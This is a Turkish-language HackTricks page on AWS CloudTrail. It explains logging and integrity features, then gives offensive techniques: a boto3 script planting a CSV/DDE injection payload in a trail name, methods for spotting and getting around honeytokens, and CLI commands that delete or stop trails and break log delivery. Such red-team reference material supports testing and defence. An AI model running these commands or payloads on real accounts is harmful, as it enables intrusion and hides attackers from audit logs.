AWS - CloudTrail Enum

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

CloudTrail

AWS CloudTrail, AWS ortamınızda gerçekleşen etkinlikleri kaydedip izler. AWS kaynaklarıyla gerçekleştirilen tüm etkileşimler için kimin ne yaptığını, ne zaman yaptığını ve nereden yaptığını içeren ayrıntılı etkinlik günlüklerini yakalar. Bu, değişikliklerin ve eylemlerin denetim izini, güvenlik analizi, uyumluluk denetimi ve kaynak değişiklik izleme için yardımcı olur. CloudTrail, kullanıcı ve kaynak davranışını anlamak, güvenlik durumlarını geliştirmek ve düzenleyici uyumluluğu sağlamak için önemlidir.

Her kaydedilen etkinlik aşağıdakileri içerir:

  • Çağrılan API'nin adı: eventName

  • Çağrılan hizmet: eventSource

  • Zaman: eventTime

  • IP adresi: SourceIPAddress

  • Ajan yöntemi: userAgent. Örnekler:

  • Signing.amazonaws.com - AWS Yönetim Konsolu'ndan

  • console.amazonaws.com - Hesabın kök kullanıcısı

  • lambda.amazonaws.com - AWS Lambda

  • İstek parametreleri: requestParameters

  • Yanıt öğeleri: responseElements

Etkinlikler, yaklaşık olarak her 5 dakikada bir JSON dosyasında yeni bir günlük dosyasına yazılır, CloudTrail tarafından tutulur ve sonunda günlük dosyaları yaklaşık 15 dakika sonra S3'e teslim edilir. CloudTrail günlükleri, hesaplar ve bölgeler arasında birleştirilebilir. CloudTrail, size teslim edildikten sonra günlük dosyalarınızın değişmediğini doğrulamak için günlük dosyası bütünlüğünü kullanmanıza olanak sağlar. Günlüklerin içindeki bir özet dosyasının SHA-256 karma değeri oluşturur. Yeni günlüklerin SHA-256 karma değeri her saat başı oluşturulur. Bir Trail oluştururken etkinlik seçicileri, kaydedilecek izi belirtmenize olanak tanır: Yönetim, veri veya içgörü etkinlikleri.

Günlükler bir S3 kovasında saklanır. Varsayılan olarak Sunucu Tarafı Şifreleme (SSE-S3) kullanılır, bu nedenle AWS, içeriği erişimi olan kişiler için şifresini çözer, ancak ek güvenlik için KMS ile SSE kullanabilir ve kendi anahtarlarınızı kullanabilirsiniz.

Günlükler, aşağıdaki ad biçimine sahip bir S3 kovasında saklanır:

  • BucketAdı/AWSLogs/HesapID/CloudTrail/BölgeAdı/YYY/AA/GG

  • BucketAdı: aws-cloudtrail-logs-<hesapID>-<rastgele>

  • Örnek: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Her klasörün içindeki her günlüğün bir adı bu formatta olacaktır: HesapID_CloudTrail_BölgeAdı_YYYYAAGGTSSSZ_Rastgele.json.gz

Günlük Dosyası Adlandırma Kuralı

Ayrıca, dosya bütünlüğünü kontrol etmek için (özet dosyaları) aynı kovada olacak:

Birden Fazla Hesaptan Günlükleri Birleştirme

  • Günlük dosyalarının teslim edileceği AWS hesabında bir Deneme oluşturun

  • CloudTrail için çapraz hesap erişimine izin vermek için hedef S3 kovasına izinleri uygulayın ve erişime ihtiyaç duyan her AWS hesabına izin verin

  • Diğer AWS hesaplarında yeni bir Trail oluşturun ve 1. adımda oluşturulan kovayı kullanmayı seçin

Ancak, aynı S3 kovasına tüm günlükleri kaydedebilirsiniz, ancak birden fazla hesaptan gelen CloudTrail günlüklerini tek bir AWS hesabına ait bir CloudWatch Günlüklerine birleştiremezsiniz.

Bir hesap, aynı (veya farklı) günlükleri farklı kovalarda saklayan CloudTrail'den farklı Trailsa sahip olabilir.

Tüm org hesaplarından Cloudtrail'ı 1'e

CloudTrail oluştururken, orgdaki tüm hesaplar için cloudtrail'ı etkinleştirmek ve günlükleri yalnızca 1 kovada almak mümkündür:

Bu şekilde, tüm hesapların tüm bölgelerinde CloudTrail'ı kolayca yapılandırabilir ve günlükleri 1 hesapta (korumanız gereken hesap) merkezileştirebilirsiniz.

Günlük Dosyalarını Kontrol Etme

Günlüklerin değiştirilmediğini kontrol etmek için aşağıdaki komutu çalıştırabilirsiniz:

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

CloudWatch'a Günlükler

CloudTrail, şüpheli faaliyetler gerçekleştirildiğinde sizi uyaracak olan bir uyarı ayarlayabilmeniz için günlükleri otomatik olarak CloudWatch'a gönderebilir. CloudTrail'ın günlükleri CloudWatch'a göndermesine izin vermek için bir rol oluşturulması gerekmektedir. Mümkünse, bu işlemleri gerçekleştirmek için AWS varsayılan rolünü kullanmanız önerilir. Bu rol, CloudTrail'in aşağıdaki işlemleri gerçekleştirmesine izin verecektir:

  • CreateLogStream: CloudWatch Günlükleri günlük akışı oluşturmayı sağlar

  • PutLogEvents: CloudTrail günlüklerini CloudWatch Günlükleri günlük akışına iletmeyi sağlar

Olay Geçmişi

CloudTrail Olay Geçmişi, kaydedilen günlükleri bir tabloda incelemenizi sağlar:

İncelemeler

CloudTrail İncelemeleri, CloudTrail izlerinden yazma yönetimi olaylarını otomatik olarak analiz eder ve olağandışı faaliyetleri size bildirir. Örneğin, belirlenen temel çizgilerden farklılık gösteren TerminateInstance olaylarında bir artış varsa, bunu bir İnceleme olayı olarak göreceksiniz. Bu olaylar, olağandışı API faaliyetlerini bulmayı ve yanıtlamayı daha kolay hale getirir.

İncelemeler, CloudTrail günlükleriyle aynı kovette saklanır: BucketAdı/AWSLogs/HesapID/CloudTrail-Insight

Güvenlik

CloudTrail Günlük Dosyası Bütünlüğü

  • Günlüklerin değiştirilip silinip silinmediğini doğrulayın

  • Her dosya için özet dosyaları kullanır (her dosya için bir karma oluşturur)

    • SHA-256 karma işlemi

    • Dijital imza için SHA-256 ile RSA

    • Amazon tarafından sahip olunan özel anahtar

  • Bir özet dosyası oluşturmak 1 saat sürer (her saat başı yapılır)

Yetkisiz erişimi durdurun

  • IAM politikaları ve S3 kova politikalarını kullanın

    • güvenlik ekibi —> yönetici erişimi

    • denetçiler —> salt okunur erişim

  • Günlükleri şifrelemek için SSE-S3/SSE-KMS kullanın

Günlük dosyalarının silinmesini önleyin

  • IAM ve kova politikaları ile silme erişimini kısıtlayın

  • S3 MFA silme yapılandırması

  • Günlük Dosyası Doğrulama ile doğrulayın

Erişim Danışmanı

AWS Erişim Danışmanı, son 400 günlük AWS CloudTrail günlüklerine dayanarak bilgilerini toplar. CloudTrail, bir AWS hesabında yapılan AWS API çağrılarının ve ilgili olayların bir geçmişini kaydeder. Erişim Danışmanı, bu verileri kullanarak bir IAM kullanıcısının veya rolünün hangi AWS hizmetlerine eriştiğini ve bu erişimin ne zaman gerçekleştiğini belirleyebilir. Bu, AWS yöneticilerinin izinleri geliştirmeye yönelik bilinçli kararlar vermelerine yardımcı olur, çünkü uzun süre erişilmemiş hizmetleri belirleyebilir ve gerçek kullanım modellerine dayanarak aşırı geniş izinleri azaltabilirler.

Bu nedenle, Erişim Danışmanı, kullanıcılara gereksiz izinlerin verildiği konusunda bilgi verir, böylece yönetici bunları kaldırabilir.

Eylemler

Numaralandırma

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Enjeksiyonu

CloudTrail içinde CVS enjeksiyonu gerçekleştirmek mümkündür. Eğer günlükler CSV olarak dışa aktarılıp Excel ile açılırsa, keyfi kod yürütme gerçekleştirilebilir. Aşağıdaki kod, payload içeren hatalı bir Trail adıyla bir günlük girişi oluşturacaktır:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Daha fazla CSV Enjeksiyonu hakkında bilgi için sayfayı kontrol edin:

Bu özel teknik hakkında daha fazla bilgi için https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/ adresini kontrol edin.

Tespiti Atlatma

HoneyTokens atlatma

HoneyTokens, duyarlı bilgilerin dışarıya çıkarılmasını tespit etmek için oluşturulur. AWS durumunda, izlenen AWS anahtarları oluşturulur, eğer bir anahtarla bir eylem tetiklenirse, o anahtarı çalan biri olmalıdır.

Ancak, bu izleme CloudTrail aracılığıyla gerçekleştirilir ve bazı AWS hizmetleri CloudTrail'e günlük göndermez (listeyi burada bulabilirsiniz). Bu hizmetlerden bazıları, yetkisiz bir kişi (honeytoken anahtarı) erişmeye çalıştığında, ARN içeren bir hata ile yanıt verir.

Bu şekilde, bir saldırgan herhangi bir günlüğü tetiklemeden anahtarın ARN'sini elde edebilir. ARN'de saldırgan, AWS hesap kimliği ve adını görebilir, bu şekilde bir saldırgan HoneyToken'ın şirket hesaplarının kimliklerini ve adlarını belirleyebilir.

HoneyTokens Tespiti

Pacu, bir anahtarın Canarytokens, SpaceCrab, SpaceSiren'a ait olup olmadığını tespit eder:

  • Eğer rol adında canarytokens.org veya hata mesajında 534261010715 hesap kimliği görünüyorsa.

  • Daha yeni testlerde, 717712589309 hesabını kullandıklarını ve hala adında canarytokens.com dizesinin bulunduğunu tespit ettiler.

  • Eğer rol adında SpaceCrab veya hata mesajında görünüyorsa

  • SpaceSiren, kullanıcı adları oluşturmak için uuid'leri kullanır: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Eğer ad rastgele oluşturulmuş gibi görünüyorsa, büyük olasılıkla bir HoneyToken'dır.

Tespit edilen tüm genel API'lerin artık CloudTrail günlükleri oluşturmadığı düzeltilmiştir, bu yüzden belki kendi API'nizi bulmanız gerekebilir...

Veya Kodlanmış içindeki erişim anahtarından Hesap Kimliğini alabilirsiniz burada açıklandığı gibi ve Honeytokens AWS hesaplarınızın hesap kimliğini kontrol edebilirsiniz:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Daha fazla bilgi için orijinal araştırmayı kontrol edin.

Üçüncü Altyapıya Erişim

Bazı AWS hizmetleri, Veritabanları veya Kubernetes kümeleme (EKS) gibi bazı altyapıları oluşturur. Bir kullanıcı, bu hizmetlere (örneğin Kubernetes API'si gibi) doğrudan eriştiğinde AWS API'sini kullanmaz, bu nedenle CloudTrail bu iletişimi göremez.

Bu nedenle, EKS'ye erişimi olan bir kullanıcı, EKS API'sinin URL'sini keşfetmişse yerel olarak bir belirteç oluşturabilir ve CloudTrail tarafından tespit edilmeden doğrudan API hizmetiyle iletişim kurabilir.

Daha fazla bilgi için:

pageAWS - EKS Post Exploitation

CloudTrail Yapılandırmasını Değiştirme

Sporları Silme

aws cloudtrail delete-trail --name [trail-name]

Trail Durdurma

To stop a CloudTrail trail, you can use the AWS Management Console, AWS CLI, or AWS SDKs. The following steps outline how to stop a trail using the AWS Management Console:

  1. Open the AWS Management Console and navigate to the CloudTrail service.

  2. In the left navigation pane, click on "Trails".

  3. Select the trail that you want to stop.

  4. Click on the "Actions" dropdown menu and choose "Stop logging".

  5. Confirm the action by clicking on "Stop logging" in the dialog box that appears.

Once the trail is stopped, it will no longer record any API activity in your AWS account.

aws cloudtrail stop-logging --name [trail-name]

Çoklu bölge kaydını devre dışı bırakma

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Bucket Yapılandırmasını Değiştirme

  • S3 kovasını silin

  • Kovaya ait politikayı CloudTrail hizmetinden gelen yazma işlemlerini reddedecek şekilde değiştirin

  • S3 kovasına nesneleri silmek için yaşam döngüsü politikası ekleyin

  • CloudTrail günlüklerini şifrelemek için kullanılan kms anahtarını devre dışı bırakın

Cloudtrail fidye yazılımı

S3 fidye yazılımı

Asimetrik bir anahtar oluşturabilir ve CloudTrail'in verileri bu anahtarla şifrelemesini sağlayabilir ve ardından özel anahtarı silerek CloudTrail içeriğinin kurtarılamamasını sağlayabilirsiniz. Bu temel olarak bir S3-KMS fidye yazılımı'dır ve aşağıda açıklanmıştır:

pageAWS - S3 Post Exploitation

KMS fidye yazılımı

Bu, önceki saldırıyı farklı izin gereksinimleriyle gerçekleştirmenin daha kolay bir yoludur:

pageAWS - KMS Post Exploitation

Referanslar

htARTE (HackTricks AWS Red Team Expert) adlı eğitimle sıfırdan kahraman olmak için htARTE'yi öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated